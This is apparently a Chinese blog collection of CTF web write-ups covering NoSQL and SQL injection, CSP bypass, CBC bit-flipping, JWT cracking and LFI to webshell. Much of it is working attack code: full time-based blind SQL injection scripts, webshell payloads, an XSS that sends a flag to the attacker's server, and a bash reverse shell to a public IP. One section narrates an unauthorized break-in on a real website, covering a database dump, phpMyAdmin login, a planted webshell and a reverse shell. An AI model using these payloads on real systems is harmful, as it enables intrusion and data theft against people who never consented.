前言
滴滴的web题感觉质量还是挺高的,因为每一道题自己做得都比较吃力(菜鸟自白)。。。但更重要的是自己也从每道题中学习到了新知识,这种感觉甚至胜过拿到flag的喜悦…..
这道题的writeup啃了一段时间,需要先入
的概念是:
下面是作者的调试代码,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
console.log('=============================\n');
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
// 输出每步的替换结果
console.log('正在替换:' + k + ' -----> ' + req.body[k]);
console.log(check_function);
}
console.log(check_function);
var query = {"$where" : check_function};
console.log(query);
console.log('================================\n');
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
这里用到了LoRexxar’s Blog中使用的基于时间盲注
的方法,我们先看一下payload:1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^1.*/i)){sleep(4000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111
首先我们先绕过正则
,我们可以通过|xxx|
来绕过左右两边的#
。比如提交|#|
,后台就变成#|#|#
,然后正则就会去匹配#
,然后把它替换,有了这一点这个payload就容易理解了。
而在这个payload中我们只需要不断的修改match(/^1.*/i)
进行匹配即可。我们先提交一下:
4s
,然后我们从控制台的输出信息里去理解这个payload的原理:
1 | ============================= |
有了上面的说明,再加上调试信息,我们就很容易理解这个payload了。
这道题跟强网杯的Share your mind
有点相似,它是考察RPO
,这里是CSP
,但是触发方法都是一样的,都是提交url后用xss bot
激发。
首先这个站点的功能如下:
/flag
下,但只有admin
才能查看,非常明显的xss
利用。
粗略
的攻击链
就出来了,我们在/new
里插入恶意xss
,然后在/submit
中提交恶意的url,这个url的目的就是让bot
访问/flag
,然后传回flag。
所以我们先找到一个xss
,经过探测我们可以发现在/new
下post请求里的effect
参数没有做任何过滤。插入的效果如下:
script
,但由于CSP
的保护,你的内嵌script
的不能执行了,所以就没有了弹窗。相应的CSP
如下:1 | Content-Security-Policy:script-src 'self' 'unsafe-inline' |
相关的script-src
值及其含义如下:1
2
3
4'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
注意到这里的script-src: 'self','nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM='
,说明它只允许加载本站的script
,而且script
必须有一个token
,就例如:
script
才能被执行,而很明显,我们插入的script
并没有token
,所以也就无法执行了。
然而题目还是有解的,我们查看下article.js
:1
2
3$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
可以发现这里存在动态
插入任意值的漏洞,所以,我们可以通过动态
插入script
标签来绕过CSP
。
effects
的定义可以在config.js
中找到
effects
的值,下面引用了lorexxar
师傅的原话:
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
也就是说,我们可以通过effects获取到<form name=effects>
这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。再看看这些js
文件的导入顺序,我们发现config.js
是第一个被导入的。
1 | id"><form name=effects id="<script>alert(1)</script>"><script> |
效果如下:
script
刚好把config.js
给闭合了,并且由于CSP
,闭合掉的script
标签没有token
并不能执行。再加上:1 | $("#effect").val() --> id |
所以成功的执行了弹窗测试。
接着就构造payload获取flag了,需要注意的一点是effect
参数最长只有70个字符,所以我们无法直接在/new
页面上获取到flag,这时候,我们在看/submit
里可以提交一个url,而http://202.120.7.197:8090/login?next=//www.baidu.com
是可以任意跳转的,所以我们可以让它跳转到自己的服务器上加载恶意代码,跟/new
打一个里应外合
。
首先我们构造出payload:1
effect=id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
这里通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name
。对于windos.name
的说明可以参考:
window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。
然后我们在自己的服务器上放置如下html
:1
2
3
4
5<iframe src="http://202.120.7.197:8090/article/3788"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://ip:port/?'+frames[0].window.name},1500)
</script>
然后在相应的端口上做好监听,之后在/submit
提交你这个html文件的url地址。如:http://202.120.7.197:8090/login?next=//your_ip/evil.html
。
最后就能发现flag已经打到你的服务器上了。
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
这道题考的是MD5
绕过,一共有三关,前面两个直接使用数组
绕过即可,如下:
MD5
的值,代码如下:1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){ |
string
将数组转换成'array'
所以无法使用数组进行绕过。url编码
。1 | >>> import urllib |
username
跟age
都有过滤,age
只允许数字。POC
就已经出来了,而且还没有任何过滤,接着我们构造如下payload:1 | 1 and ascii(substr((select flag from flag),1,1))>100 |
ascii
作为判断条件而不要使用substr
防止得到大小写
不准确的flag。flask
代码审计,在form.py
的表单里只有PostForm
是没有过滤的,其他表单中都存在过滤函数。/index
下被引用。Add()
函数。1 | '|conv(hex(substr(user(),1,4)),16, 10)|' |
1 | '|conv(hex(substr((select table_name from information_schema.tables where table_schema=database()),1,4)),16,10)|' |
flaaaaag
,列名:flllllag
。payload:1 | '|conv(hex(substr((select flllllag from flaaaaag),1,4)),16,10)|' |
QWB{us1ng_val1dator_caut1ous}
RPO(Relative Path Overwrite)相对路径覆盖
利用,如何判断的呢:/aaaa
它还是能正确找到这份文件,所以如果我们在这个页面中写了一些js
代码,并且以js
去运行解析它的话就会造成任意js
代码执行。
2、页面的js文件采用相对地址引入../
。%2f
的时候会把它转化成/
,当作目录解析。如:1 | http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../ |
js、css
文件时是以当前url
的目录为基准的,然后在后面拼接js、css
的地址,接着在请求该js、css
。如:1 | http://39.107.33.96:20000/index.php/view/article/1111%27aaa |
1111%27aaa
被当作了一个文件,而不是你想的/1111/aaa
中1111
是目录。raw
。1 | http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../ |
view raw
中的代码作为js
解析了。report
页面中是存在xss的。RPO
的利用中来,因为过滤了<>
,所以我们用eval(String.fromCharCode(xxx))
来绕过,所以payload:1 | s="""var i=document.createElement("iframe"); |
write article
里,然后获取到它的url
,如:nc -tlp 8888
。1 | http://39.107.33.96:20000/index.php/view/article/1198/aaaaa/..%2f..%2f../ |
hint
。flag
在/QWB_fl4g/QWB/
下的cookie中,所以我们将iframe
的src=/QWB_fl4g/QWB/
。代码如下:1 | s="""var i=document.createElement("iframe"); |
QWB{flag_is_f43kth4rpo}
。
由于上篇实在是水了,,,所以就网上搜集了一番,然后就找到了一个。。。
首先检查一下sql注入,然后在下载文件
的地方发现了一处,而且还把网站的物理路径
暴露出来了。
空格
,因为当and 1=2
的时候也返回了真。
/**/
太代替空格,发现确实可行。1 | poc: |
如图:
sqlmap
进行注入,只需要加上--tamper space2comment
。经过好一番的查找,才拿到了数据库中的账号和密码。
目录遍历
漏洞。
phpmyadmin
用户猜想到有phpmyadmin
目录,但是也没有找到。
XSS
看看能不能找到管理员的后台地址,但结果是留言板确实是存在xss
但却没有找到管理员的地址。
cookie
访问XSS
打到的网址是报了个验证码错误,所以这条线也走不了了。
后来经前辈提醒,可以直接使用http://ip/phpmyadmin
的访问方式试试,那么首先检测一下有没有CDN
。用多地ping
检测了一下,发现应该是没有CDN
,然后直接访问看看。
root
账号密码登陆进去了。由于物理路径
已经知道了,那么后面的操作就简单了,直接使用mysql
写一句话后门。1 | Create TABLE a (cmd text NOT NULL); |
随便找个表执行下上面的sql
语句即可。
out.php
。
WAF
。而从phpinfo
暴露出来的环境可以知道是内网,并且权限很高,所以心就更痒痒了。
反弹shell
。但是发现反弹回来立马被干掉了。。。
趋势杀软
。
强网杯
,而且杀软也还没
想到法绕过,所以暂且放下,两天后再战。。。题目描述:
sql约束攻击
,利用的是数据库字段定义时产生的漏洞。如:1 | mysql> CREATE TABLE users ( |
username
只允许25个字符,超过后就舍去25字符以后的,然后在mysql
中,admin
跟admin [很多空格]
在查询的时候是一样的。因为admin
用户已经存在,但我们不知道他的密码,所以我们自己注册一个admin
然后替换掉密码。所以我们可以注册一个admin[很多个空格]1
的用户名,只要总字符数超过25,然后密码设成你的。注册成功后使用admin
加你的密码
去登陆即可得到flag。0 == 字符串
是成立的,从而绕过了MD5检查,这里记录一些MD5值:1 | s878926199a |
upload.php
php
解析:<?php
被替换成_
。如下图:<script language=php> </script>
标签绕过这个验证,我们再上传一次:php代码
。接着使用菜刀连接。SKCTF{uP104D_1nclud3_426fh8_is_Fun}
。get
一个请求。然后可以找到源码:$key
的值,然而当你拿着$KEY='ISecer:www.isecer.com';
去序列化后提交会发现是不对的。$KEY
的值是没有定义的,但是我们可以构造s:0:"";
字符串,他反序列化的结果就是一个空的字符串,然后绕过他的比较。.DS_Store
泄露,然后网上找了个exp,运行后就能得到flag文件。flag{sql_iNJEct_comMon3600!}
。phpmyadmin
的目录,然后再去网站上看看,然后就能发现数据库的用户名和密码。题目描述:
空格
,但由于mysql
的特性,我们可以使用回车换行符还替代即%0a
或%0d
。extractvalue()
或者updatexml()
进行报错,尝试一条报错语句:1 | ?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e)) |
%0a
换成%0d
也是可以的。要读取文件,mysql提供了load_file()
函数,并且需要对文件名进行16进制
编码。又因为extractvalue()
有长度限制,最长为32位
,所以我们需要使用substr()
对hex()
过的文件内容进行分割,我们一次取30个就好。这里注意的是如果不对文件内容进行16进制
编码就会出现无法读取的情况。1 | ?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e) |
”
,所以直接复制题目给的flag形式,然后把双引号里的值粘贴进去就行了。空格 , = and
,所以这给我们注入带来极大的不便,但是or select >
没有被过滤,我们先找到闭合字符。而且我们注意到,页面使用的是en
编码,所以可以考虑宽字节
注入。username=admin%df%27or'1'>'1&password=admin
跟username=admin%df%27or'2'>'1&password=admin
。or
返回真时它会检查password
是否正确,而当or
返回假时会报没有此用户
的错误,所以,我们可以接着构造我们的payload。下面是我的payload:1 | username=admin%df%27or(select(password))>'0&password=admin |
>'
后面的字符就能把密码给注入出来,这里值得注意的是最后一个值的确定,可以看到当最后一个字符为/
时页面返回了真,而为0
时则返回了假。>
来进行判断的,所以最后的一个值一定会比真实值小
,也就是说我们最后一位应该取0
才是正确的。所以最终md5值:51b7a76d51e70b419f60d3473fb6f900
。解密出来就是:skctf123456
。然后我们登陆一下就能获得flag。burpsuite
跟zap
上使用。打开页面后如下:
id
无法登陆,所以就拿出了目录扫描器看看有什么发现。
show.php
。
这道题就是学习姿势了,自己做的时候没有找到思路,然后看了writeup才做出来。
对请求抓包,然后可以发现tip
,解密出来是几行代码。
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
这里可以看到它是分离式的验证,首先查询username
的用户,然后拿出password
再进行比较,一开始想着是注入出admin
的密码,但发现可能没有这个用户,而且也找不到注入的poc
。后来参考网上的writeup才知道正确的打开方式。payload:1
username=' union select md5(1),md5(1)#&password=1
执行这条语句时由于前面的username
为空,所以没有数据返回,但后面的union select md5(1),md5(1)
则会返回两个MD5(1)的值,然后password
我们也置为1
,从而绕过if
语句的判断。
接下来可以进入命令执行的页面。
1 | nc -lvv 8888 |
然后执行反弹shell的命令。1
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1
最后就能在服务器上收到shell,然后查询flag。
SKCTF{Uni0n_@nd_c0mM4nD_exEc}
。
这道题就纯属学习姿势了,首先是进行敏感目录扫描,然后发现.index.php.swp
源码泄露。
1 | <?php |
因为admin
用户被禁止了登陆,但是可以利用反序列化漏洞重置$_SESSION['username']
为admin
,然后拿到flag。
首先介绍一下CBC字节翻转攻击
,如果我们要想把第二行(段)中的2
变成n
,我们只需要修改第一行(段)的r
。1
2
3
4
5
6
7原文:
a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}
按16个字符分割:
a:2:{s:8:"userna
me";s:5:"admi2";
s:8:"password";s
:5:"skctf";}
1 | bs_de = 'a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}' |
我们把cookie
中的cipher
拿出来修改一下。1
2
3
4
5
6
7
8
9
10
11# -*- coding:utf-8 -*-
import base64
bs = 'e8SnC9p3aEmJciIN8NWYM1PcA/A7jSwsiTglqdBMLRLf/8LOHKmhOoHSOBbJB1xEnE6S6DpfgkD8NWlJETxDZQ=='
bs_de = base64.b64decode(bs)
ch = chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))
bs_de=bs_de[0:13]+ch+bs_de[14::]
print(base64.b64encode(bs_de))
然后把得到的结果替换掉cipher
,访问后可以发现反序列化出错了。
第二段明文
的时候我们把第一段的密文
破环掉了,造成后台无法解密出原来的数据。如下面这种情况。
6
修改成7
的时候,造成了第一段密文解密出来的结果变成了乱码,所以我们还需要还原第一段的密文
,所以我们要对iv
这个初始向量进行修改。
cipher
要变成上面提示反序列化
错误的那个密文。因为这个反序列化错误的字符是第一次翻转后的明文
。
1 | import base64 |
将得到的结果替换到iv
上,然后刷新页面,就能看到flag了。
这是印度举办的CTF中遇到的一道JWT破解绕过题,觉得还是挺有价值的,mark一下。
这是一道b00t2root
的一道web题,觉得很有意思,并且结合了加密的知识,所以记录一下。
首先了解下JWT:
JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。
JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.
点号分割。拿道题后看了一下cookie,发现是如下格式:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM |
进行base64解密后发现:
false
改成true
,而且要通过服务器的验证
,这点很重要,并不是直接把false
改成true
就万事大吉了。因为服务器收到token后会对token的有效性
进行验证。
验证方法:首先服务端会产生一个key
,然后以这个key
作为密钥,使用第一部分选择的加密方式(这里就是HS256
),对第一部分和第二部分拼接的结果
进行加密,然后把加密结果放到第三部分
。
1 | 服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。 |
因为加密算法我们已经知道了,如果我们只要再得到加密的key
,我们就能伪造数据,并且通过服务器的检查。
这里我使用了这个工具进行破解:C语言版JWT破解工具,下载安装完毕后,直接进行破解,如图:
false
改成true
,然后使用key进行加密,可以得到如下:
https://github.com/brendan-rius/c-jwt-cracker
https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/
https://jwt.io/
http://www.cnblogs.com/dliv3/p/7450057.html
题目描述:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
可以看到,这是X-Forwarded-For
的注入,而且过滤了逗号,
。在过滤了逗号的情况下,我们就不能使用if
语句了,在mysql中与if
有相同功效的就是:1
select case when xxx then xxx else xxx end;
而且由于逗号,
被过滤,我们就不能使用substr、substring
了,但我们可以使用:from 1 for 1
,所以最终我们的payload如下:1
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
相应的python代码为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
跑出flag:flag{cdbf14c9551d5be5612f7bb5d2867853}
打开网站后进行抓包,进过测试后发现是基于时间的盲注
,POC:aaa" or sleep(5) -- +
。所以写个脚本跑一下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223# -*- coding:utf-8 -*-
import requests
'''
这篇POC: aaa" or sleep(5) -- +
源于Bugku:http://120.24.86.145:9001/sql/
场景:登陆框基于时间的盲注
'''
url = 'http://120.24.86.145:9001/sql/'
def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
print('正在测试字符:' + str(mid) + ' ----> ' + chr(mid))
test3 = test.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': test3,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
except:
tmp += chr(mid)
return tmp
sqli = sql.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
right = mid
except:
left = mid
# database = ''
# sql = "1\" or if(ascii(substr(database(),{0},1))>{1},sleep(5),0) -- +"
# test = "1\" or if(ascii(substr(database(),{0},1))={1},sleep(5),0) -- +"
# for pos in range(1, 50):
# # 测试length(database()),一旦超过长度则不用再执行。
# is_end = sql.format(pos, 1)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': is_end,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# print('======================')
# print('[*]database: ', database)
# print('======================\n')
# break
# except:
# pass
#
# left = 32
# right = 127
# while True:
# mid = (left + right) // 2
# # print('正在测试字符:', str(mid))
# test3 = test.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': test3,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# except:
# database += chr(mid)
# print('[+]database: ', database)
# break
#
# sqli = sql.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': sqli,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# right = mid
# except:
# left = mid
tables_name = {}
sql = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2},sleep(5),0) -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他表!')
break
except:
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break
except:
pass
table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)
print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')
tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2},sleep(5),0) -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他字段!')
break
except:
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break
except:
pass
column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)
print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')
cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2},sleep(5),0) -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他数据!')
break
except:
print('[+]正在爆破数据', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break
except:
pass
tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)
print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')
打开网页后在?id=1
后面加个'
号,发现错误,然后再添加一个'
,发现可以闭合。
and or &&
被过滤掉了,但||
和位注入| ^
没有被过滤。当使用?id=0' || 1=2 -- +
时是返回错误,而?id=0' || 1=1 -- +
返回了正确,所以这里存在注入。这里值得注意的是,我使用id=0
而不是id=1
等非0
值,这是因为任何大于0
的数进行||
都会返回真
。
异或
进行注入,如:?id=0' ^ (1=2) ^ '
。
and
的时候发现是返回了错误,所以猜测后台过滤了一些字符,所以可以使用?id=0' || length('and')=0 -- +
检查一下过滤了的函数,如:
0' || length('aandnd')=3 -- +
返回真。
?id=1' oorrder by 2 -- +
,可以发现字段数为2
。
?id=-1' uniounionn seleselectct 1,2 -- +
。
ununionion seleselectct 1,table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1-- +
flag1、hint
,两张表。ununionion seleselectct 1,column_name from infoorrmation_schema.columns where table_name=0x666c616731 limit 0,1-- +
flag1、address
。然后查询flag:ununionion seleselectct 1,flag1 from flag1 -- +
address
是什么。
探测
,最后我们能发现双写
已经不能绕过了,但是却没有过滤if left benchmark select from
函数,所以,我们可以使用基于时间的盲注
进行注入。payload:1 | ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a', benchmark(7000000,MD5(14545)), 0) %23 |
剩下的爆字段跟值就不一一写了,这里直接写了个脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding:utf-8 -*-
from time import sleep
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select column_name from information_schema.columns where table_name=0x666c616732 limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select flag2 from flag2),{0})='{1}', benchmark(40000000,MD5(14545)), 0) %23"
database = ''
for i in range(28, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(i, tmp)
# print(urli)
try:
html = requests.get(urli, timeout=3)
except:
database += chr(j)
print('[+]column: ', database)
break
print(database)
只要把payload一换就可以使用,不过可能需要多次执行。最终flag:flag{bugku-sql_6s-2i-4t-bug}
,这里要说的就是left
在比较的时候是不区分大小写的,所以一般flag要么大写要么小写,而这道题原本的flag把bugku
中的b
弄成了大写B
,所以一开始提交答案不对,后来经过跟管理员联系后,管理员就把flag都改成小写了。
这里的另一种解法就是使用locate()
进行bool型
注入,payload:id=1' and (select LOCATE('a',(select flag2 from flag2)))=1 -- +
,这里需要变的就是locate()
的第一个
参数,后面的1
不要变,因为它返回的是第一个字符串参数
出现在第二个字符串参数
中的位置,我们把它置为1
就是希望从头开始爆破。脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# -*- coding:utf-8 -*-
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and (select LOCATE('{}',(select flag2 from flag2)))=1 -- +"
database = ''
for i in range(1, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(tmp)
html = requests.get(urli)
if 'Hello' in html.text:
database += chr(j)
print('[+]key: ', database)
break
上篇文章中复现了官方的预期解法,这里单独将非预期
解法拿出来复现一遍并记录解题过程。非预期
解法有三种:
本来以为pull下的docker有easy php
的环境,但经过检查后却发现不满足条件,所以这篇文章主要起到备忘录
的作用,以供以后遇到满足的条件时方便查阅。
session.upload_progress.enabled
这个参数在php.ini 默认开启
,需要手动置为Off
,如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到1
/var/lib/php5/sess_{your_php_session_id}
session.upload_progress.enabled
参数已经被关闭,所以这个解法就没法复现了。
首先构造一个这样的报文(from @berTrAM),不断的向服务端发送1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php
<?php eval($_POST[1]);?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream
< %eval request("a")%>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundary2rwkUEtFdqhGMHqV--
服务器就会在/var/lib/php5/sess_5uu8r952rejihbg033m5mckb17
中记录这个上传的文件。接着我们不断刷新生成包含恶意php代码的文件,然后通过LFI包含这个文件1
action=../../../../../var/lib/php5/sess_5uu8r952rejihbg033m5mckb17
即可getshell
要使用Xdebug
get shell,首先服务器要开启如下参数:
xdebug
。
地址
